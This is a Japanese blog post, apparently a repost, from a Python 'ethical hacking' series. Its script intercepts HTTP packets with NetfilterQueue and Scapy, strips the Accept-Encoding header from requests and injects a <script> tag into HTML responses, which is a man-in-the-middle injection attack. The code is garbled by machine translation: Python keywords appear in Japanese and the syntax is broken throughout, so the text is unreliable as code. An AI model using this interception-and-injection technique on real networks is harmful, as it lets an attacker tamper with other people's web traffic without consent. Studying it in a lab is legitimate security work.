Pythonの倫理的ハッキング - HTTP層のデータを修正すること(3)

リファクタリングと清掃:

!は/ usr / binに/ envをPythonの
輸入

から netfilterqueue 輸入NetfilterQueue
 から scapy.layers.inetの輸入TCP、IPは
 から scapy.packetの輸入


デフset_load(パケット、負荷):
    パケット[生] .LOAD = ロード
     ・デル・パケット[をIP] .LEN
     デルパケット[IP] .chksum
     デルパケット[TCP] .chksum
     リターンパケット


デフprocess_packet(パケット):
    scapy_packet = IP(packet.get_payload())
     の場合scapy_packet.haslayer(RAW)scapy_packet.haslayer(TCP):
        負荷 = scapy_packet [RAW] .LOAD
         場合 == 80 .dport scapy_packet [TCP] 印刷" [+]リクエスト" 
            負荷 = re.sub(B " ?エンコードを受け入れる:\\ R * \\ N "B "" 負荷)

        ELIFの scapy_packet [TCP] .sport == 80 プリント" [+]応答" 
            負荷 = load.replace(B " < / BODY> "、B" <スクリプト>警告( 'テスト'); </ SCRIPT> </ BODY> " 

        の場合、負荷=!scapy_packet [生] .LOAD:
            new_packet = set_load(scapy_packet、負荷)
            packet.set_payload(STR(new_packet).encode ())

    packet.accept()


キュー = NetfilterQueue()
queue.bind(0、process_packet)
してみてください
    (queue.run)
を除くKeyboardInterrupt:
     プリント'' 

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11517275.html
おすすめ